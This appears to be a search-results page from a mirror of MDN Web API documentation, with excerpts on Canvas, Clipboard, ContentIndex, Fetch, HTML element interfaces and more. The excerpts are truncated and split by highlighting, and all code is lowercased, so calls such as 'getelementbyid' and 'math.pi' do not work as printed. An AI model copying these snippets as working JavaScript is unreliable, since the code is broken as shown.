Transformations - Web APIs
however once we call the first restore() statement, the top drawing state is removed
from the stack, and settings are restored.
...the translate() method also gives us the
freedom to place the rectangle anywhere on the canvas without having to manually adjust coordinates in the fillrect() function.
... a rotate example in this example, we'll use the rotate() method to first rotate a rectangle
from the canvas origin and then
from the center of the rectangle itself with the help of translate().
... function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); // left rectangles, rotate
from canvas origin ctx.save(); // blue rect ctx.fillstyle = '#0095dd'; ctx.fillrect(30, 30, 100, 100); ctx.rotate((math.pi / 180) * 25); // grey rect ctx.fillstyle = '#4d4e53'; ctx.fillrect(30, 30, 100, 100); ctx.restore(); // right rectangles, rotate
from rectangle center // draw blue rect ctx.fillstyle = '#0095dd'; ctx.fillrect(150, 30, 100, 100); ctx.translate(200, 80); // translate to rectangle center // x = x + 0.5 * width // y = y + 0.5 * height ctx.rotate((math.pi / 180) * 25); // rot...
Canvas API - Web APIs
paper.js is an open-source vector graphics scripting
framework that runs on top of the html5 canvas.
... phaser is a fast,
free and fun open source
framework for canvas and webgl powered browser games.
... rekapi is an animation key-
framing api for canvas.
... the zim
framework provides conveniences, components, and controls for coding creativity on the canvas — includes accessibility and hundreds of colorful tutorials.
Channel Messaging API - Web APIs
the channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two i
frames, or the main document and an i
frame, two documents via a sharedworker, or two workers) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.
... messageport controls the ports on the message channel, allowing sending of messages
from one port and listening out for them arriving at the other.
... examples we have published a channel messaging basic demo on github (run it live too), which shows a really simple single message transfer between a page and an embedded <i
frame>.
... you can also see a multimessaging demo (run this live), which shows a slightly more complex setup that can send multiple messages between main page and i
frame.
Clipboard API - Web APIs
the clipboard api provides the ability to respond to clipboard commands (cut, copy, and paste) as well as to asynchronously read
from and write to the system clipboard.
...the clipboard-read permission must be requested, which you can do by trying to read data
from the clipboard.
... accessing the clipboard instead of creating a clipboard object through instantiation, you access the system clipboard through the navigator.clipboard global: navigator.clipboard.readtext().then( cliptext => document.queryselector(".editor").innertext += cliptext); this snippet fetches the text
from the clipboard and appends it to the first element found with the class editor.
... interfaces clipboard secure context provides an interface for reading and writing text and data to or
from the system clipboard.
ContentIndex.delete() - Web APIs
the delete() method of the contentindex interface unregisters an item
from the currently indexed content.
...it does not delete anything
from the cache.
... examples below is an asynchronous function, that removes an item
from the content index.
... async function unregistercontent(article) { // reference registration const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) return; // unregister content
from index await registration.index.delete(article.id); } the delete method can also be used within the service worker scope.
ContentIndex - Web APIs
contentindex.delete unregisters an item
from the currently indexed content.
...nst entry of entries) { const listitem = document.createelement('li'); const anchorelem = document.createelement('a'); anchorelem.innertext = entry.title; anchorelem.setattribute('href', entry.url); listelem.append(listitem); } readinglistelem.append(listelem); } } unregistering indexed content below is an asynchronous function, that removes an item
from the content index.
... async function unregistercontent(article) { // reference registration const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) return; // unregister content
from index await registration.index.delete(article.id); } all the above methods are available within the scope of the service worker.
... they are accessible
from the workerglobalscope.self property: // service worker script self.registration.index.add(item); self.registration.index.delete(item.id); const contentindexitems = self.registration.index.getall(); specifications specification status comment unknownthe definition of 'contentindex' in that specification.
Content Index API - Web APIs
nst entry of entries) { const listitem = document.createelement('li'); const anchorelem = document.createelement('a'); anchorelem.innertext = entry.title; anchorelem.setattribute('href', entry.url); listelem.append(listitem); } readinglistelem.append(listelem); } } unregistering indexed content below is an asynchronous function, that removes an item
from the content index.
... async function unregistercontent(article) { // reference registration const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) return; // unregister content
from index await registration.index.delete(article.id); } all the above methods are available within the scope of the service worker.
... they are accessible
from the workerglobalscope.self property: // service worker script self.registration.index.add(item); self.registration.index.delete(item.id); const contentindexitems = self.registration.index.getall(); contentdelete event when an item is removed
from the user agent interface, a contentdelete event is received by the service worker.
... self.addeventlistener('contentdelete', (event) => { console.log(event.id); // logs content index id, which can then be used to determine what content to delete
from your cache }); the contentdelete event is only fired when the deletion happens due to interaction with the browser's built-in user interface.
ConvolverNode - Web APIs
properties inherits properties
from its parent, audionode.
... convolvernode.normalize a boolean that controls whether the impulse response
from the buffer will be scaled by an equal-power normalization when the buffer attribute is set, or not.
... methods no specific method; inherits methods
from its parent, audionode.
... let audioctx = new window.audiocontext(); async function createreverb() { let convolver = audioctx.createconvolver(); // load impulse response
from file let response = await fetch("path/to/impulse-response.wav"); let arraybuffer = await response.arraybuffer(); convolver.buffer = await audioctx.decodeaudiodata(arraybuffer); return convolver; } ...
CredentialsContainer.get() - Web APIs
from the resulting set of credentials, it then selects the best one.
... this method collects credentials by calling the "collect
fromcredentialstore" method for each credential type allowed by the options argument.
... for example: if options.password exists, then the passwordcredential.[[collect
fromcredentialstore]] is called.
...calls to it within an <i
frame> element will resolve without effect.
CustomElementRegistry.define() - Web APIs
there are two types of custom elements you can create: autonomous custom element: standalone elements; they don't inherit
from built-in html elements.
... customized built-in element: these elements inherit
from — and extend — built-in html elements.
... examples autonomous custom element the following code is taken
from our popup-info-box-web-component example (see it live also).
... customized built-in element the following code is taken
from our word-count-web-component example (see it live also).
DOMImplementation.createHTMLDocument() - Web APIs
example this example creates a new html document and inserts it into an <i
frame> in the current document.
... here's the html for this example: <body> <p>click <a href="javascript:makedocument()">here</a> to create a new document and insert it below.</p> <i
frame id="the
frame" src="about:blank" /> </body> the javascript implementation of makedocument() follows: function makedocument() { let
frame = document.getelementbyid("the
frame"); let doc = document.implementation.createhtmldocument("new document"); let p = doc.createelement("p"); p.innerhtml = "this is a new paragraph."; try { doc.body.appendchild(p); } catch(e) { console.log(e); } // copy the new html document into the
frame let destdocument =
frame.contentdocument; let srcnode = doc.documentelement; let newnode = destdocument.importnode(srcnode, true); destdocument.replacechild(newnode, destdocume...
... line 16 pulls the contentdocument of the
frame; this is the document into which we'll be injecting the new content.
...finally, line 20 actually replaces the contents of the
frame with the new document's contents.
DOMTokenList - Web APIs
such a set is returned by element.classlist, htmllinkelement.rellist, htmlanchorelement.rellist, htmlareaelement.rellist, htmli
frameelement.sandbox, or htmloutputelement.htmlfor.
... domtokenlist.remove(token1[, token2[, ...tokenn]]) removes the specified token(s)
from the list.
... domtokenlist.toggle(token [, force]) removes token
from the list if it exists, or adds token to the list if it doesn't.
...c"></p> now the javascript: let para = document.queryselector("p"); let classes = para.classlist; para.classlist.add("d"); para.textcontent = `paragraph classlist is "${classes}"`; the output looks like this: trimming of whitespace and removal of duplicates methods that modify the domtokenlist (such as domtokenlist.add()) automatically trim any excess whitespace and remove duplicate values
from the list.
DataTransfer - Web APIs
this object is available
from the datatransfer property of all drag events.
...the index is in the range
from zero to the number of items minus one.
...the index should be in the range
from zero to the number of items minus one.
...if the index is not in the range
from 0 to the number of items minus one, an empty string list is returned.
DataTransferItem.webkitGetAsEntry() - Web APIs
first, we prevent the dragover event
from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.preventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let items = event.datatransfer.items; event.preventdefault(); list...
...ing.innerhtml = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped
from event.datatransfer.items.
... then we call event.preventdefault() to prevent the event
from being handled further after we're done.
... browser compatibility the compatibility table on this page is generated
from structured data.
DeviceOrientationEvent.DeviceOrientationEvent() - Web APIs
options optional options are as follows: alpha: a number representing the motion of the device around the z axis, express in degrees with values ranging
from 0 to 360.
... beta: a number representing the motion of the device around the x axis, express in degrees with values ranging
from -180 to 180.
... this represents a
front to back motion of the device.
... gamma: a number representing the motion of the device around the y axis, express in degrees with values ranging
from -90 to 90.
Document.adoptNode() - Web APIs
document.adoptnode() transfers a node
from another document into the method's document.
... the adopted node and its subtree is removed
from its original document (if any), and its ownerdocument is changed to the current document.
... syntax const importednode = document.adoptnode(externalnode); parameters externalnode the node
from another document to be adopted.
... example const i
frame = document.queryselector('i
frame'); const i
frameimages = i
frame.contentdocument.queryselectorall('img'); const newparent = document.getelementbyid('images'); i
frameimages.foreach(function(imgel) { newparent.appendchild(document.adoptnode(imgel)); }); notes before they can be inserted into the current document, nodes
from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode().
Document.importNode() - Web APIs
the document object's importnode() method creates a copy of a node or document
fragment
from another document, to be inserted into the current document later.
... unlike document.adoptnode(), the original node is not removed
from its original document.
... syntax const importednode = document.importnode(externalnode [, deep]); parameters externalnode the external node or document
fragment to import into the current document.
... example const i
frame = document.queryselector("i
frame"); const oldnode = i
frame.contentwindow.document.getelementbyid("mynode"); const newnode = document.importnode(oldnode, true); document.getelementbyid("container").appendchild(newnode); notes before they can be inserted into the current document, nodes
from external documents should either be: cloned using document.importnode(); or adopted using documen...
Document: scroll event - Web APIs
instead, it is recommended to throttle the event using requestanimation
frame(), settimeout(), or a customevent, as follows.
... note, however, that input events and animation
frames are fired at about the same rate, and therefore the optimization below is often unnecessary.
... this example optimizes thescroll event for requestanimation
frame.
... // reference: http://www.html5rocks.com/en/tutorials/speed/animations/ let last_known_scroll_position = 0; let ticking = false; function dosomething(scroll_pos) { // do something with the scroll position } window.addeventlistener('scroll', function(e) { last_known_scroll_position = window.scrolly; if (!ticking) { window.requestanimation
frame(function() { dosomething(last_known_scroll_position); ticking = false; }); ticking = true; } }); see more, similar examples on the resize event page.
DocumentType - Web APIs
pe" target="_top"><rect x="266" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="326" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">documenttype</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, node, and implements the childnode interface.
... methods inherits methods
from its parent, node, and implements the childnode interface.
... childnode.remove() removes the object
from its parent children list.
... obsolete no change
from document object model (dom) level 2 core specification.
EXT_sRGB - Web APIs
the ext_srgb extension is part of the webgl api and adds srgb support to textures and
framebuffer objects.
...the constants in webgl2 are: gl.srgb, gl.srgb8, gl.srgb8_alpha8 and gl.
framebuffer_attachment_color_encoding.
... constants this extension exposes the following constants, which can be used in the teximage2d(), texsubimage2d(), renderbufferstorage() and get
framebufferattachmentparameter() methods.
... ext.
framebuffer_attachment_color_encoding_ext returns the
framebuffer color encoding (gl.linear or ext.srgb_ext).
EffectTiming.direction - Web APIs
the direction property of the web animations api dictionary effecttiming indicates an animation's playback direction along its timeline, as well as its behavior when it reaches the end of an iteration element.animate(), key
frameeffectreadonly(), and key
frameeffect() all accept an object of timing properties including direction.
... the value of direction corresponds directly to animationeffecttimingreadonly.direction in timing objects returned by animationeffectreadonly, key
frameeffectreadonly, and key
frameeffect.
...it can take one of the following values, with the default being "normal": "normal" the animation runs forwards,
from beginning to end, in the way we experience the flow of time.
... "alternate-reverse" similar to "alternate", except the animation playback starts by going
from the end of the animation sequence toward the beginning the first iteration, then goes forward during the second, and so forth.
Element: cut event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncut the event's default action is to copy the current selection (if any) to the system clipboard and remove it
from the document.
... note though that cancelling the default action will also prevent the document
from being updated.
... so an event handler which wants to emulate the default action for "cut" while modifying the clipboard must also manually remove the selection
from the document.
... examples live example html <div class="source" contenteditable="true">try cutting text
from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('cut', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); selection.delete
fromdocument(); ...
Element.getElementsByTagName() - Web APIs
element is the element
from where the search starts.
... living standard changed the return value
from nodelist to htmlcollection document object model (dom) level 3 core specificationthe definition of 'element.getelementsbytagname()' in that specification.
... obsolete no change
from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'element.getelementsbytagname()' in that specification.
... obsolete no change
from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'element.getelementsbytagname()' in that specification.
Element: scroll event - Web APIs
instead, it is recommended to throttle the event using requestanimation
frame(), settimeout(), or a customevent, as follows.
... note, however, that input events and animation
frames are fired at about the same rate, and therefore the optimization below is often unnecessary.
... this example optimizes thescroll event for requestanimation
frame.
... // reference: http://www.html5rocks.com/en/tutorials/speed/animations/ let last_known_scroll_position = 0; let ticking = false; function dosomething(scroll_pos) { // do something with the scroll position } window.addeventlistener('scroll', function(e) { last_known_scroll_position = window.scrolly; if (!ticking) { window.requestanimation
frame(function() { dosomething(last_known_scroll_position); ticking = false; }); ticking = true; } }); note: you can find more examples on the resize event page.
Event.cancelable - Web APIs
if the event is not cancelable, then its cancelable property will be false and the event listener cannot stop the event
from occurring.
... most browser-native events that can be canceled are the ones that result
from the user interacting with the page.
... canceling the click, scroll, or beforeunload events would prevent the user
from clicking on something, scrolling the page, or navigating away
from the page, respectively.
...this keeps the implementation
from executing the default action that is associated with the event.
ExtendableEvent - Web APIs
note: the behaviour described in the above paragraph was fixed in firefox 43 (see bug 1180274.) this interface inherits
from the event interface.
... properties doesn't implement any specific properties, but inherits properties
from its parent, event.
... methods inherits methods
from its parent, event.
... examples this code snippet is
from the service worker prefetch sample (see prefetch example live.) the code calls extendableevent.waituntil() in serviceworkerglobalscope.oninstall, delaying treating the serviceworkerregistration.installing worker as installed until the passed promise resolves successfully.
ExtendableMessageEvent - Web APIs
the extendablemessageevent interface of the service worker api represents the event object of a message event fired on a service worker (when a message is received on the serviceworkerglobalscope
from another context) — extends the lifetime of such events.
... this interface inherits
from the extendableevent interface.
... properties inherits properties
from its parent, extendableevent.
... methods inherits methods
from its parent, extendableevent.
FederatedCredential - Web APIs
the federatedcredential interface of the the credential management api provides information about credentials
from a federated identity provider.
...openid connect is an example of a federated identity provider
framework.
... properties inherits properties
from its ancestor, credential.
... browser compatibility the compatibility table in this page is generated
from structured data.
FetchEvent.request - Web APIs
example this code snippet is
from the service worker fetch sample (run the fetch sample live).
...if no match is found, the code fetches a response
from the network.
... the code also handles exceptions thrown
from the serviceworkerglobalscope.fetch operation.
...about to fetch
from network...'); return fetch(event.request).then(function(response) { console.log('response
from network is:', response); return response; }).catch(function(error) { console.error('fetching failed:', error); throw error; }); }) ); }); specifications specification status comment service workersthe definition of 'r...
FetchEvent.respondWith() - Web APIs
specifying the final url of a resource
from firefox 59 onwards, when a service worker provides a response to fetchevent.respondwith(), the response.url value will be propagated to the intercepted network request as the final resolved url.
... note that navigation requests for windows and i
frames do not use the final url.
... examples this fetch event tries to return a response
from the cache api, falling back to the network otherwise.
... event.respondwith(async function() { // try to get the response
from a cache.
Cross-global fetch usage - Web APIs
when a cross-origin fetch involving a relative url is initiated
from an <i
frame>, the relative url used to be resolved against the current global location, rather than the i
frame's location.
...to see it: you need a same-origin i
frame that same-origin i
frame needs to have a location with a different base url you have to use the fetch function cross-global, e.g.
...
frame.contentwindow.fetch() the url passed to fetch needs to be relative the problem in the past we would resolve the relative url against the current global, for example: let absolute = new url(relative, window.location.href) this is not a problem as such.
...so in the case described above, it is resolved against the i
frame's location: let absolute = new url(relative,
frame.contentwindow.location.href) there is a lot of discussion in progress about getting new specs to align with this behavior change, to mitigate potential problems going forward.
Fetch API - Web APIs
instead, these are more likely to be created as results of other api actions (for example, fetchevent.respondwith()
from service workers).
... differences
from jquery the fetch specification differs
from jquery.ajax() in three main ways: the promise returned
from fetch() won’t reject on http error status even if the response is an http 404 or 500.
... instead, it will resolve normally (with ok status set to false), and it will only reject on network failure or if anything prevented the request
from completing.
...set-cookie headers
from other sites are silently ignored.
FileError - Web APIs
don't run your app
from file:// for security reasons, browsers do not allow you to run your app
from file://.
... in fact, many of the powerful storage apis (such as file system, blobbuilder, and filereader) throw errors if you run the app locally
from file://.
...just start chrome with the --allow-file-access-
from-files flag.
...for example, the state that was cached in an interface object has changed since it was last read
from disk.
FileSystemDirectoryEntry - Web APIs
try){ //directoryentry.isfile === false //directoryentry.isdirectory === true //directoryentry.name === 'documents' //directoryentry.fullpath === '/documents' }, onerror); } // opening a file system with temporary storage window.requestfilesystem(temporary, 1024*1024 /*1mb*/, onfs, onerror); properties this interface has no properties of its own, but inherits properties
from its parent interface, filesystementry.
... methods this interface inherits methods
from its parent interface, filesystementry.
...this has been removed
from the spec.
... draft browser compatibility the compatibility table on this page is generated
from structured data.
FileSystemEntrySync - Web APIs
it includes methods for working with files—including copying, moving, removing, and reading files—as well as information about the file it points to—including the file name and its path
from the root to the entry.
... fullpath readonly domstring the full absolute path
from the root to the entry.
... an absolute path is a relative path
from the root directory, prepended with a '/'.
... you cannot do the following: move a directory inside itself or to any child at any depth move an entry into its parent if a name different
from its current one isn't provided move a file to a path occupied by a directory or move a directory to a path occupied by a file move any element to a path occupied by a directory that is not empty.
FontFace.display - Web APIs
the spec recommends 3 seconds for the block period, though this may vary
from browser to browser.
...the spec recommends 100 ms or less for the block period and 3 seconds for the swap period, though these values may vary
from browser to browser.
...the spec recommends 100 ms or less, though this may vary
from browser to browser.
...(they are the same as for font-display.) browser compatibility the compatibility table on this page is generated
from structured data.
GamepadEvent - Web APIs
window.addeventlistener("gamepaddisconnected", function(e) { console.log("gamepad disconnected
from index %d: %s", e.gamepad.index, e.gamepad.id); }); specifications specification status comment gamepadthe definition of 'gamepadevent' in that specification.
... 35 no support 21 — 34prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤18firefox full support 29 full support 29 no support 24 — 28disabled disabled
from version 24 until version 28 (exclusive): this feature is behind the dom.gamepad.enabled preference (needs to be set to true).
... full support yesgamepadevent() constructorchrome full support 35edge full support 12firefox full support 29 full support 29 no support 24 — 28disabled disabled
from version 24 until version 28 (exclusive): this feature is behind the dom.gamepad.enabled preference (needs to be set to true).
...rt 35 no support 21 — 34prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 29 full support 29 no support 24 — 28disabled disabled
from version 24 until version 28 (exclusive): this feature is behind the dom.gamepad.enabled preference (needs to be set to true).
Gyroscope.Gyroscope() - Web APIs
syntax var gyroscope = new gyroscope([options]) parameters options optional options are as follows:
frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
... a whole number or decimal may be used, the latter for
frequencies less than a second.
... the actual reading
frequency depends device hardware and consequently may be less than requested.
... reference
frame: either 'device' or 'screen'.
HTMLAreaElement - Web APIs
target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlareaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement, and implements those
from htmlhyperlinkelementutils.
... htmlhyperlinkelementutils.hash is a usvstring containing the
fragment identifier (including the leading hash mark (#)), if any, in the referenced url.
... methods inherits methods
from its parent, htmlelement, and implements those
from htmlhyperlinkelementutils.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLButtonElement - Web APIs
rget="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbuttonelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
...it is false if any conditions bar it
from constraint validation, including: its type property is reset or button; it has a <datalist> ancestor; or the disabled property is set to true.
... methods inherits methods
from its parent, htmlelement name return type description checkvalidity() boolean not supported for reset or button elements.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLCanvasElement.captureStream() - Web APIs
syntax mediastream = canvas.capturestream(
framerate); parameters
framerate optional a double-precision floating-point value that indicates the rate of capture of each
frame.
... if not set, a new
frame will be captured each time the canvas changes; if set to 0,
frames will not be captured automatically; instead, they will only be captured when the returned track's request
frame() method is called.
... exceptions notsupportederror the value of
framerate is negative.
...send it to another computer using an rtcpeerconnection // pc is an rtcpeerconnection created elsewhere pc.addstream(stream); specifications specification status comment media capture
from dom elementsthe definition of 'htmlcanvaselement.capturestream()' in that specification.
HTMLCanvasElement.getContext() - Web APIs
desynchronized: boolean that hints the user agent to reduce the latency by desynchronizing the canvas paint cycle
from the event loop (gecko only) willread
frequently: boolean that indicates whether or not a lot of read-back operations are planned.
... this will force the use of a software (instead of hardware accelerated) 2d canvas and can save memory when calling getimagedata()
frequently.
... this option is only available, if the flag gfx.canvas.willread
frequently.enable is set to true (which, by default, is only the case for b2g/firefox os).
... desynchronized: boolean that hints the user agent to reduce the latency by desynchronizing the canvas paint cycle
from the event loop antialias: boolean that indicates whether or not to perform anti-aliasing.
HTMLCanvasElement - Web APIs
rget="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlcanvaselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
...the callback can get the context to draw to
from the printstate object and must then call done() on it when finished.
... methods inherits methods
from its parent, htmlelement.
... media capture
from dom elementsthe definition of 'htmlcanvaselement' in that specification.
HTMLDListElement - Web APIs
arget="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldlistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific methods; inherits methods
from its parent, htmlelement.
... recommendation no change
from document object model (dom) level 2 html specification.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLDialogElement - Web APIs
it inherits properties and methods
from the htmlelement interface.
..." target="_top"><rect x="1" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="86" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldialogelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods inherits methods
from its parent, htmlelement.
...
from there you can click the cancel button to close the dialog (via the htmldialogelement.close() function), or submit the form via the submit button.
HTMLDivElement - Web APIs
target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldivelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
... recommendation no change
from document object model (dom) level 2 html specification.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLFormElement - Web APIs
x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlformelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, htmlelement.
... htmlformelement.target a domstring reflecting the value of the form's target html attribute, indicating where to display the results received
from submitting the form.
... methods this interface also inherits methods
from its parent, htmlelement.
...ting a new form element, modifying its attributes, then submitting it: const f = document.createelement("form"); // create a form document.body.appendchild(f); // add it to the document body f.action = "/cgi-bin/some.cgi"; // add action and method attributes f.method = "post"; f.submit(); // call the form's submit() method extract information
from a <form> element and set some of its attributes: <form name="forma" action="/cgi-bin/test" method="post"> <p>press "info" for form details, or "set" to change those details.</p> <p> <button type="button" onclick="getforminfo();">info</button> <button type="button" onclick="setforminfo(this.form);">set</button> <button type="reset">reset</button> </p> <textarea id="form-info" rows="1...
HTMLImageElement.currentSrc - Web APIs
currentsrc lets you determine which image
from the set of provided images was selected by the browser.
... living standard browser compatibility the compatibility table on this page is generated
from structured data.
...droidopera for androidsafari on iossamsung internetcurrentsrc experimentalchrome full support 45edge full support 13firefox full support 38 full support 38 no support 32 — 52disabled disabled
from version 32 until version 52 (exclusive): this feature is behind the dom.image.srcset.enabled preference (needs to be set to true).
... full support 10.1webview android full support 45chrome android full support 45firefox android full support 38 full support 38 no support 32 — 52disabled disabled
from version 32 until version 52 (exclusive): this feature is behind the dom.image.srcset.enabled preference (needs to be set to true).
HTMLImageElement.loading - Web APIs
by specifying the value lazy for loading, you prevent the image
from delaying the load attribute by the amount of time it takes to request, fetch, and process the image.
... to prevent this reflow
from occurring, you should explicitly specify the size of the image's presentation using the image element's width and height attributes.
... by establishing the intrinsic aspect ratio in this manner, you prevent elements
from shifting around while the document loads, which can be disconcerting or offputting at best and can cause users to click the wrong thing at worst, depending on the exact timing of the deferred loads and reflows.
... example the addimagetolist() function shown below adds a photo thumbnail to a list of items, using lazy-loading to avoid loading the image
from the network until it's actually needed.
HTMLImageElement.src - Web APIs
syntax htmlimageelement.src = newsource; let src = htmlimageelement.src; value when providing only a single image, rather than a set of images
from which the browser selects the best match for the viewport size and display pixel density, the src attribute is a usvstring specifying the url of the desired image.
... examples specifying a single image html <img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg" width="160" alt="slices of grape
fruit, looking yummy."> result using src with an image set when using a set of images with the srcset property, the src serves as either a fallback for older browsers, or as the 1x size of the image.
... html result specifying a fallback for viewport-based selection when using viewport-bases selection of an image
from a srcset by also specifying the sizes property, the src property serves as the fallback to be used on browsers that don't support viewport-based selection.
... living standard browser compatibility the compatibility table on this page is generated
from structured data.
HTMLImageElement.srcset - Web APIs
it uses the image's currentsrc property to fetch and display the url selected by the browser
from the srcset.
... living standard browser compatibility the compatibility table on this page is generated
from structured data.
...r androidopera for androidsafari on iossamsung internetsrcset experimentalchrome full support 34edge full support 12firefox full support 38 full support 38 no support 32 — 52disabled disabled
from version 32 until version 52 (exclusive): this feature is behind the dom.image.srcset.enabled preference (needs to be set to true).
... full support 8webview android full support 37chrome android full support 34firefox android full support 38 full support 38 no support 32 — 52disabled disabled
from version 32 until version 52 (exclusive): this feature is behind the dom.image.srcset.enabled preference (needs to be set to true).
HTMLLabelElement - Web APIs
it inherits methods and properties
from the base htmlelement interface.
...arget="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmllabelelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific methods; inherits methods
from its parent, htmlelement.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLLegendElement - Web APIs
it inherits properties and methods
from the htmlelement interface.
...rget="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmllegendelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... htmllegendelement.align is a domstring representing the alignment relative to the form set methods no specific method; inherits methods
from its parent, htmlelement.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLMarqueeElement - Web APIs
it inherits properties and methods
from the htmlelement interface.
... target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmarqueeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods inherits methods
from its parent, htmlelement.
... examples <marquee>this text will scroll
from right to left</marquee> <marquee direction="up">this text will scroll
from bottom to top</marquee> <marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"> <marquee behavior="alternate"> this text will bounce </marquee> </marquee> specifications specification status comment html living standardthe definition of 'htmlmarqueeelement' in that specification.
HTMLModElement - Web APIs
target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmodelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... living standard no change
from html5.
... recommendation no change
from document object model (dom) level 2 html specification.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLOptGroupElement - Web APIs
et="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloptgroupelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
... recommendation no change
from document object model (dom) level 2 html specification.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLQuoteElement - Web APIs
